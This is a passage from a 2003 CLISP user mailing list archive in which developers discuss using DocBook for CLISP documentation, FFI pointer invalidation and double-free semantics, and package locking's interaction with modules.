domain. If > DocBook's not rich enough to document CLOS (or CLisp, or maybe I > misunderstand something), please tell us how and why. > > Be seeing you, > norm > > - -- > Norman Walsh | 'Heartless Cynics,' the young men > http://www.oasis-open.org/docbook/ | shout, / Blind to the world of > Chair, DocBook Technical Committee | Fact without; / 'Silly Dreamers,' > | the old men grin / Deaf to the > | world of Purpose within.--W. H. > | Auden > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.0.6 (GNU/Linux) > Comment: Processed by Mailcrypt 3.5.7 > > iD8DBQE+byjXOyltUcwYWjsRAki4AJ42V07zYOlrbdL43gXuNjC9Wj3wzgCfRWLq > HnqKnE78RAw15Zio7ZkwB7E= > =ODjZ > -----END PGP SIGNATURE----- From sds@gnu.org Wed Mar 12 18:44:39 2003 Received: from out006pub.verizon.net ([206.46.170.106] helo=out006.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18tIhz-0008VC-00 for ; Wed, 12 Mar 2003 18:44:39 -0800 Received: from loiso.podval.org ([151.203.48.207]) by out006.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030313024432.PSSO4892.out006.verizon.net@loiso.podval.org>; Wed, 12 Mar 2003 20:44:32 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h2D2j3Tx006366; Wed, 12 Mar 2003 21:45:03 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h2D2j2QQ006362; Wed, 12 Mar 2003 21:45:02 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Aurelio Bignoli Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Docbook again References: <15983.23661.320637.326033@dalet.fauser.it> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <15983.23661.320637.326033@dalet.fauser.it> Message-ID: Lines: 69 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out006.verizon.net from [151.203.48.207] at Wed, 12 Mar 2003 20:44:32 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 12 18:45:12 2003 X-Original-Date: 12 Mar 2003 21:45:02 -0500 > * In message <15983.23661.320637.326033@dalet.fauser.it> > * On the subject of "[clisp-list] Docbook again" > * Sent on Wed, 12 Mar 2003 17:12:29 +0100 > * Honorable Aurelio Bignoli writes: > > An interesting reply from Norman Walsh: > > > > I think CL documentation fits squarely in DocBook's problem > > domain. If DocBook's not rich enough to document CLOS (or CLisp, or > > maybe I misunderstand something), DocBook is good enough for CLISP. > > please tell us how and why. My only problems with docbook are: 1. BNF is not standard. IIUC, one needs to go through special hoops to get EBNF to work, and DSSSL does not support it (XSL, apparently, does). There are quite a few places in impnotes were we use tables instead of BNF. It would be nice if someone volunteered to convert those tables to EBNF and DSSSL to XSL. 2. It is non-trivial to convert it to plain text (like texinfo). 3. One cannot define "local entities" (i.e., abbreviation for locally frequent forms). E.g.: Function EXT:RE-EXPORT The function (EXT:RE-EXPORT FROM-PACK TO-PACK) re-exports all external symbols from FROM-PACK also from TO-PACK, provided it already uses FROM-PACK; and SIGNALs an ERROR otherwise. DocBook source:
Function &re-export; The function (&re-export; FROM-PACK TO-PACK) re-exports all external symbols from FROM-PACK also from TO-PACK, provided it already uses FROM-PACK; and &signal;s an &error-t; otherwise.
this would look much better if I could just write
Function &re-export; (let ((from-pack "FROM-PACK") (to-pack "TO-PACK")) The function (&re-export; &from-pack; &to-pack;) re-exports all external symbols from &from-pack; also from &to-pack;, provided it already uses &from-pack;; and &signal;s an &error-t; otherwise. )
the frequently used idioms, like number, are already global entities defined in impent.xml. what about idioms that are frequently used in an isolated part of the document? -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Computers are like air conditioners: they don't work with open windows! From Joerg-Cyril.Hoehle@t-systems.com Thu Mar 13 01:29:08 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18tP1O-00060Y-00 for ; Thu, 13 Mar 2003 01:29:06 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Thu, 13 Mar 2003 10:28:42 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 13 Mar 2003 10:28:42 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE02B4E092@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] on FFI:mark-invalid-foreign, malloc() and finalization Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 13 01:30:01 2003 X-Original-Date: Thu, 13 Mar 2003 10:28:41 +0100 Sam Steingold wrote: >there is no MARK-INVALID-FOREIGN I have one -- apparently yet another item not yet submitted to sf' patches section. >and I think VALIDP should be setfable instead. Actually, I don't care about that name. Make it SETF'able instead if you wish. Maybe it'll have the benefit of making the symbol VALIDP more visible. What I do care slightly about is that o MARK-INVALID-FOREIGN signals an error when not given a foreign entity. What would (SETF VALIDP) do? >whatever is free()d, must be marked invalid. Here you're killing the messenger together with the message. I mentioned: "I believe I cannot present FOREIGN-FREE :mark-invalid without explaining or providing a model for controlling the address sharing that CLISP does." That's exactly what's happening here. I believe you misunderstand what's going on in the FFI w.r.t. foreign-addresses etc. Please look at the following. In order to understand, a model of the relationship between foreign entities and VALIDP is needed. I did not yet write that. [84]> (setq fm (deep-malloc 'uint8 123)) # [85]> (foreign-address fm) # [86]> (unsigned-foreign-address (foreign-address-unsigned fm)) # [87]> (equalp * **) NIL ;yet they print the same! [88]> (def-call-out c-self (:name "ffi_identity") (:arguments (obj c-pointer)) (:return-type c-pointer) (:language :stdc)) C-SELF [89]> (mark-invalid-foreign (c-self (foreign-address fm))) *** - MARK-INVALID-FOREIGN: must not invalidate sole FFI session pointer It's refering to the underlying O(fp_zero) object. Almost all of FFI dies if this is destroyed. [91]> (mark-invalid-foreign (unsigned-foreign-address (foreign-address-unsigned fm))) *** - MARK-INVALID-FOREIGN: must not invalidate sole FFI session pointer [93]> (mark-invalid-foreign fm) ; or (mark-invalid-foreign (foreign-address fm)) T [103]> fm # [104]> (foreign-free fm) *** - # comes from a previous Lisp session and is invalid ; the FOREIGN-POINTER object hidden beneath FOREIGN-ADDRESS and FOREIGN-VARIABLE appears here [105]> (foreign-free (unsigned-foreign-address #x0cc1920)) NIL ; no problem at all - and that pointer must not be invalidated. One must not attempt to invalidate foreign-address/variable objects returned via :return-type C-POINTER or UNSIGNED-FOREIGN-ADDRESS, or a future FOREIGN-ADDRESS-VARIABLE etc. FOREIGN-POINTER object sharing is happening. It's only safe on the objects returned via FOREIGN-LIBRARY (when done with it) and SIMPLE-CALLOC/DEEP-MALLOC. What I've been trying to do is incremental changes to the FFI. Attempting to change the above would be a major rewrite of the FFI, which is not my goal. Instead, I try to put the existing code to better use, like using the FOREIGN-POINTER sharing feature as a dependency tracking mechanism. For instance, closing a shared library immediately invalidates all dependent functions (but not objects that they may have returned, which CLISP does not know about - but my envisioned SET-FOREIGN-BASE would allow the programmer to let CLISP know). CLISP documentation would have to be updated to explain when fresh pointers and when shared pointers are returned by FFI functions. However, what this discussion boils down is no more that the set of defaults to FOREIGN-FREE. I don't object a default key value of :validp nil. It's even reasonable (I believe invalidating covers more cases than not invalidating). But I strongly object to not letting the programmer control this coupling. FOREIGN-FREE must not unconditionaly invalidate the pointer. It can have a keyword argument. Providing an initial FOREIGN-FREE which does not invalidate was an incremental approach of mine. It does not prevent programmers code from working, since MARK-INVALID-FOREIGN is (supposed to be) there as well: it does not remove freedom from the programmer. Providing a FOREIGN-FREE which inconditionaly invalidates the foreign entity object would have removed freedom and prevented useful cases from working. Providing a FOREIGN-FREE which later on default to invalidate means an incompatible interface change which may break code. That's the price to pay for incrementality and "let people play with it so as to get feedback". >if you want to release only the root, you setf the lower level pointers >to NULL, then call FOREIGN-FREE, which will release everything (and >invalidate the root.) That's IMHO cumbersome. FOREIGN-FREE can work independently of destroying pointers in the structure it's about to free. Let that zeroing out job be the burden of people who want a conservative GC. One could also discuss whether :FULL should default to true. It would work with SIMPLE-CALLOC on the typical cases I expect where arrays of immediates are allocated, or even opaque pointers (simple-calloc `(c-array c-pointer ,n)) or (simple-calloc 'c-pointer :count n). And it's the right thing to do with DEEP-MALLOC (again, in most cases, since the structure at the moment of deallocation may be very different from what got allocated). There's just a little performance impact on using :full where it's not necessary for analysing the type declaration. I should try more to learn not to care about that. Regards, Jorg Hohle. From sds@gnu.org Thu Mar 13 07:57:57 2003 Received: from out005pub.verizon.net ([206.46.170.143] helo=out005.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18tV5h-0002yT-00 for ; Thu, 13 Mar 2003 07:57:57 -0800 Received: from loiso.podval.org ([151.203.48.207]) by out005.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030313155749.SKPT6910.out005.verizon.net@loiso.podval.org>; Thu, 13 Mar 2003 09:57:49 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h2DFwMTx008228; Thu, 13 Mar 2003 10:58:22 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h2DFwKtG008224; Thu, 13 Mar 2003 10:58:20 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] on FFI:mark-invalid-foreign, malloc() and finalization References: <9F8582E37B2EE5498E76392AEDDCD3FE02B4E092@G8PQD.blf01.telekom.de> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE02B4E092@G8PQD.blf01.telekom.de> Message-ID: Lines: 114 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out005.verizon.net from [151.203.48.207] at Thu, 13 Mar 2003 09:57:49 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 13 07:58:16 2003 X-Original-Date: 13 Mar 2003 10:58:20 -0500 > * In message <9F8582E37B2EE5498E76392AEDDCD3FE02B4E092@G8PQD.blf01.telekom.de> > * On the subject of "[clisp-list] on FFI:mark-invalid-foreign, malloc() and finalization" > * Sent on Thu, 13 Mar 2003 10:28:41 +0100 > * Honorable "Hoehle, Joerg-Cyril" writes: > > Sam Steingold wrote: > >there is no MARK-INVALID-FOREIGN > I have one -- apparently yet another item not yet submitted to sf' patches section. > >and I think VALIDP should be setfable instead. > Actually, I don't care about that name. Make it SETF'able instead if > you wish. Maybe it'll have the benefit of making the symbol VALIDP > more visible. good. > What I do care slightly about is that > o MARK-INVALID-FOREIGN signals an error when not given a foreign entity. > What would (SETF VALIDP) do? I send the pseudo-code for (SETF VALIDP) here before. (setf (validp "foo") t) ==> t (setf (validp "foo") nil) ==> (error "may not invalidate non-foreign") basically, since (VALIDP "foo") works, I see no reason to forbid (setf (validp "foo") t). > >whatever is free()d, must be marked invalid. > Here you're killing the messenger together with the message. > I mentioned: "I believe I cannot present FOREIGN-FREE :mark-invalid > without explaining or providing a model for controlling the address > sharing that CLISP does." My point is: do we want to allow users to free() the same memory twice? Yes or No? I am not forcing your decision here, but I want clarity. IIUC, it is impossible to prevent the user from doing that (due to UNSIGNED-FOREIGN-ADDRESS). Maybe it's a good reason to withdraw UNSIGNED-FOREIGN-ADDRESS? (OTOH, IIUC, (:RETURN-TYPE C-POINTER) does just that, so it will not solve the problem). > That's exactly what's happening here. I believe you misunderstand > what's going on in the FFI w.r.t. foreign-addresses etc. > Please look at the following. In order to understand, a model of the > relationship between foreign entities and VALIDP is needed. I did not > yet write that. > > [84]> (setq fm (deep-malloc 'uint8 123)) > # please sync with the CVS head. do you want me to provide a nightly CVS head snapshot or is enough? BTW, please note what I write in --------------------------------------------------------------------- please fix exec_on_stack to use UNWIND_PROTECT, like you do here. note also that subr_self is never lost now (see your comment there). --------------------------------------------------------------------- thanks for your patches - at this time CVS has __EVERYTHING__ you ever sent me. It's a __VERY__ good time to sync! > [85]> (foreign-address fm) > # > [86]> (unsigned-foreign-address (foreign-address-unsigned fm)) > # > [87]> (equalp * **) > NIL ;yet they print the same! this would not be hard to fix. would you like me to? > [88]> (def-call-out c-self > (:name "ffi_identity") > (:arguments (obj c-pointer)) > (:return-type c-pointer) (:language :stdc)) > C-SELF > [89]> (mark-invalid-foreign (c-self (foreign-address fm))) > *** - MARK-INVALID-FOREIGN: must not invalidate sole FFI session pointer > > It's refering to the underlying O(fp_zero) object. Almost all of FFI dies if this is destroyed. > > [91]> (mark-invalid-foreign (unsigned-foreign-address (foreign-address-unsigned fm))) > *** - MARK-INVALID-FOREIGN: must not invalidate sole FFI session pointer > > [93]> (mark-invalid-foreign fm) > ; or (mark-invalid-foreign (foreign-address fm)) > T huh? shouldn't (c-self fm) be the same (under EQUAL) as fm?! > [103]> fm > # > [104]> (foreign-free fm) > *** - # comes from a previous Lisp session and is invalid > ; the FOREIGN-POINTER object hidden beneath FOREIGN-ADDRESS and FOREIGN-VARIABLE appears here > > [105]> (foreign-free (unsigned-foreign-address #x0cc1920)) > NIL ; no problem at all - and that pointer must not be invalidated. [106]> (foreign-free (unsigned-foreign-address #x0cc1920)) here you should see a segfault - you are releasing the same memory twice -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Marriage is the sole cause of divorce. From amoroso@mclink.it Thu Mar 13 08:46:38 2003 Received: from mail5.mclink.it ([195.110.128.102] helo=mail.mclink.it) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18tVqh-0007qz-00 for ; Thu, 13 Mar 2003 08:46:31 -0800 Received: from net203-175-191.mclink.it (net203-175-191.mclink.it [213.203.175.191]) by mail.mclink.it (8.11.0/8.11.0) with SMTP id h2DGkMQ10510 for ; Thu, 13 Mar 2003 17:46:22 +0100 (CET) From: Paolo Amoroso To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Docbook again Organization: Paolo Amoroso - Milan, ITALY Message-ID: References: <15983.23661.320637.326033@dalet.fauser.it> In-Reply-To: <15983.23661.320637.326033@dalet.fauser.it> X-Mailer: Forte Agent 1.6/32.525 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 13 08:47:14 2003 X-Original-Date: Thu, 13 Mar 2003 17:46:17 +0100 On Wed, 12 Mar 2003 17:12:29 +0100, Aurelio Bignoli wrote: > An interesting reply from Norman Walsh: > > > From: Norman Walsh [...] > > Subject: DOCBOOK: Re: using docbook for CLOS > > Date: Wed, 12 Mar 2003 07:32:23 -0500 [...] > > I think CL documentation fits squarely in DocBook's problem domain. If > > DocBook's not rich enough to document CLOS (or CLisp, or maybe I > > misunderstand something), please tell us how and why. I seem to remember that Pierre Mai tweaked DocBook to better fit the documentation needs of the MaiSQL manual. He may--no pun intended--have some suggestions. Paolo -- Paolo Amoroso From Joerg-Cyril.Hoehle@t-systems.com Fri Mar 14 03:38:59 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18tnWb-00083z-00 for ; Fri, 14 Mar 2003 03:38:57 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 14 Mar 2003 12:38:44 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 14 Mar 2003 12:38:43 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE02B4E3EC@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] package-lock and module interaction, saving disk space Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Mar 14 03:39:17 2003 X-Original-Date: Fri, 14 Mar 2003 12:38:34 +0100 Hi, >thanks for your patches - at this time CVS has __EVERYTHING__ you ever >sent me. It's a __VERY__ good time to sync! Ok, I'll byte :) - got the 7MB snapshot, not yet installed. BTW, this patch is missing: http://sourceforge.net/tracker/index.php?func=detail&aid=549049&group_id=1355&atid=301355 CLISP's "new" package locking behaviour leads to an annoying > lisp.run -M lispinit.mem ** - Continuable Error INTERN("VECTOR-POSITION"): # is locked If you continue (by typing 'continue'): Ignore the lock and proceed 1. Break [1]> continue i i i i i i i ooooo o ooooooo ooooo ooooo I I I I I I I 8 8 8 8 8 o 8 8 [...] Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 Copyright (c) Bruno Haible, Sam Steingold 1999-2002 [1]> What I want is a mechanism to simply add new functions via modules, as I did from 1995 on, and documented in my article. Package-locking breaks this (except for stuff added to the free USER package) for the packages SYS and EXT, which I typically used. The UNIX shell link-kit script may look easy to use. It's certainly powerful. But it's not what I call simple. Especially it's against my goal of saving disk space and keeping a single memory image for all possible module configurations, just switching lisp.exe if needed, an advice I've also given in my article. Let me explain how I've been working for years: I keep the original lisp.run and lispinit.mem from the original build, containing 0 modules. I then build some lispx.run containing as many modules as I want, e.g. regexp, dynload, ffihacks, hinbug, gdi. I invoke lispx.run -M lispinit.mem. The modules mostly lay dormant in the executable. Each is quite small, compared to the CLISP executable size. If I need some functionality, I kiss the module awake: (load "clisp:modules/regexp/regexp") -> loading regexp.fas which then provides the functionality, and full package, as needed. I'd only generate image files containing e.g. gdi or regexp if the amount of .fas files became huge or if I had to deliver an application to some customer (which has not yet happened). So far, .fas file loading speed has been completely acceptable to me, and I by far prefer this speed/space trade-off. Loading .fas files instead of working with an image is also nice to developers: work on what's current, not old definitions. Summary: it is possible to use plenty of modules with just one lispinit.mem and a single extra lisp.run. (I could even delete the original lisp.run) - I do it all the time. No module sets, link kits etc. The value of a directory per module is in my eyes to provide 1. automation and 2. a Makefile etc. framework for C/Lisp compilation. So what's missing now in CLISP? 1. In my eyes, the ability for the C code to create a package as needed for the module's functions. The full package definition and exports will be provided later by a Lisp/fas file - if ever loaded. 2. a home for modules such small that they don't need an own package. I used SYS or EXT so far, which package-lock breaks. That's what my patches attempted to address. Maybe all that's additionaly needed is a variable to hold the packages that were unlocked during module initialization, and restore their state afterwards. Regards, Jorg Hohle. Remembers me about METAFONT: it is plain superfluous to dump a cmbase image. The single plain.base suffices, loading cmbase.mf into it is trivially fast. From Joerg-Cyril.Hoehle@t-systems.com Fri Mar 14 04:53:16 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18togT-0004Tg-00 for ; Fri, 14 Mar 2003 04:53:14 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 14 Mar 2003 13:53:01 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 14 Mar 2003 13:53:00 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE02B4E44C@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] on FFI:mark-invalid-foreign, malloc() and finalizati on MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Mar 14 04:54:04 2003 X-Original-Date: Fri, 14 Mar 2003 13:52:52 +0100 Sam Steingold wrote: >> >whatever is free()d, must be marked invalid. >> Here you're killing the messenger together with the message. >My point is: do we want to allow users to free() the same memory twice? >Yes or No? >I am not forcing your decision here, but I want clarity. I don't want that to happen, and provide means to prevent it from happening: MARK-INVALID-FOREIGN. But I cannot prevent it. >IIUC, it is impossible to prevent the user from doing that >(due to UNSIGNED-FOREIGN-ADDRESS). Not because of u-f-a. Because the C code could do it. Memory allocation needs a protocol which specifies who allocates and who frees. CLISP explicitly supports protocols where Lisp does one part, and the foreign code does the other part. >Maybe it's a good reason to withdraw UNSIGNED-FOREIGN-ADDRESS? It's a tiny utility function which some people may use some day. It's like CMUCL's SAP-INT and INT-SAP. I prefer to provide them instead of having programmers define their own version using: (def-call-out u-f-a (:name "ffi_identity") (:arguments (obj uint32)) ;maybe uint64 is needed? (:return-type c-pointer) (:language :stdc)) ;(u-f-a #xabadcafe) -> # BTW, I was just pleased to see that (disassemble #'u-f-a) might work on UNIX (if gdb were installed here) because sys::code-address-of recognizes #. I.e., for foreign-functions #+UNIX(sys::code-address-of ff) == (foreign-address-unsigned ff) >[106]> (foreign-free (unsigned-foreign-address #x0cc1920)) >here you should see a segfault - you are releasing the same >memory twice I'll not add a testcase for that:) >> [87]> (equalp * **) >> NIL ;yet they print the same! >this would not be hard to fix. >would you like me to? No, until there's a concept of what shall be done. The two objects are different in terms of EQUALP: # # So far, my opinion is that the current printed representation of # is just fine (suited to most user needs), and the user need not be bothered with additional level of detail. >> [93]> (mark-invalid-foreign fm) >> ; or (mark-invalid-foreign (foreign-address fm)) >> T >huh? >shouldn't (c-self fm) be the same (under EQUAL) as fm?! Same as above. Here's (part of) the underlying concept (= documentation of the current state, which needs to find its way into impnotes in a polished form): 1. The validp bit is associated with a FOREIGN-POINTER object, not each FOREIGN-ADDRESS or FOREIGN-VARIABLE. 2. FOREIGN-ADDRESS, F-VARIABLE, F-FUNCTION embody such a FOREIGN-POINTER object -- and an offset from it. 3. All of (:return-type C-POINTER), U-F-A etc. return a FOREIGN-ADDRESS object which all share what I call the "FFI session pointer" - O(fp_zero). That's why this one shall not be invalidated. 4. WITH-FOREIGN-OBJECT/STRING and DEEP-MALLOC return f-a/v objects based on a new, thus distinct foreign-pointer. Only these can be marked as invalid, which the WITH- macros do automatically (not all of them right now, as you noticed). 5. DEREF, SLOT etc. (or rather ffi::%DEREF etc.) preserve the foreign-pointer when building a new FOREIGN-VARIABLE object. FOREIGN-ADDRESS preserves it as well (which your (compose #'u-f-a #'f-a-u) suggestion does not). That's both useful and potentially dangerous. (foreign-free (slot X 'part1)) shall free, but not invalidate the pointer, because all of X would become invalid. My dynload patch creates FOREIGN-FUNCTION objects embedding the FOREIGN-POINTER to the library. That's how, by invoking MARK-INVALID-FOREIGN on the library base pointer obejct, all associated functions and variables become invalid as well. My concept for SET-FOREIGN-BASE was to permit modification of this association between a FOREIGN-ADDRESS/VARIABLE/FUNCTION and the associated FOREIGN-POINTER. Then FINALIZE and/or MARK-INVALID-FOREIGN become useful with arbitrary f-v/f-a objects. (let ((x (c-self fm))) ;; dissociate from CLISP FFI session pointer (set-foreign-base x (another-foreign-entity foo)) ;; either (finalize (foreign-base-pointer x) #'xx) ... do stuff using foo ;; or (foreign-free yy) (mark-invalid-foreign foo); x becomes invalid as well. ) Function: FOREIGN-BASE == FOREIGN-POINTER, but I prefer the "base" idea. Function: (SET-FOREIGN-BASE foreign-entity another) (you'll suggest (SETF FOREIGN-BASE), I know :) another may also be :NEW, or :SESSION, not just a foreign-entity, which is IMHO not compatible with the SETF idea. Returns the modified entity. Maybe name it update-foreign-base? (let ((x (set-foreign-base (c-self xx) :new))) ;; now x has a distinguished FOREIGN-BASE object (finalize (foreign-base x) #'close-windows-silently) ...) Another reason for the SET-FOREIGN-BASE name instead of (SETF FOREIGN-POINTER) is that it's not only the pointer that's changed. The offset of the FOREIGN-ADDRESS object is modified suitably to preserve the FOREIGN-ADDRESS-UNSIGNED value. But that's not all that would be needed. You may also wish to correct an address (e.g. when trying to restore a defunct shared library function from a .mem file in a new lisp session). It's not ready yet -- a basic too many open issues in brain error. Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Fri Mar 14 05:07:12 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18toty-0006fg-00 for ; Fri, 14 Mar 2003 05:07:10 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 14 Mar 2003 14:07:02 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 14 Mar 2003 14:07:01 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE02B4E45F@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] FFI guru/wizard award to be rewarded Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Mar 14 05:08:03 2003 X-Original-Date: Fri, 14 Mar 2003 14:06:59 +0100 Hi, trying to obtain more feedback on CLISP FFI issues (not just Sam and me), I'll give the title of CLISP FFI guru to anybody who can explain why the following works: ;this one does not preserve the foreign-pointer object ; which is bad, but ignore it (defun fcast (ff c-type) "Create a funcall'able FOREIGN-FUNCTION object at the given address, according to the supplied C type declaration" (with-c-var (new-function 'c-pointer (foreign-address ff)) (cast new-function c-type))) ;(fcast #'c-self '(c-function (:return-type int))) ;(setf (symbol-function 'GUI-great-server) ; (fcast (obtain-address "foo") '(c-function ...)) :) Regards, Jorg Hohle. You may wish to test using (def-call-out c-self (:name "ffi_identity") (:arguments (obj c-pointer)) (:return-type c-pointer) (:language :stdc)) From sds@gnu.org Fri Mar 14 07:03:19 2003 Received: from out003pub.verizon.net ([206.46.170.103] helo=out003.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18tqiN-0001cG-00 for ; Fri, 14 Mar 2003 07:03:19 -0800 Received: from loiso.podval.org ([151.203.48.207]) by out003.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030314150312.ZHJM3697.out003.verizon.net@loiso.podval.org>; Fri, 14 Mar 2003 09:03:12 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h2EF3lTx009695; Fri, 14 Mar 2003 10:03:48 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h2EF3lLj009691; Fri, 14 Mar 2003 10:03:47 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] package-lock and module interaction, saving disk space References: <9F8582E37B2EE5498E76392AEDDCD3FE02B4E3EC@G8PQD.blf01.telekom.de> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE02B4E3EC@G8PQD.blf01.telekom.de> Message-ID: Lines: 85 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out003.verizon.net from [151.203.48.207] at Fri, 14 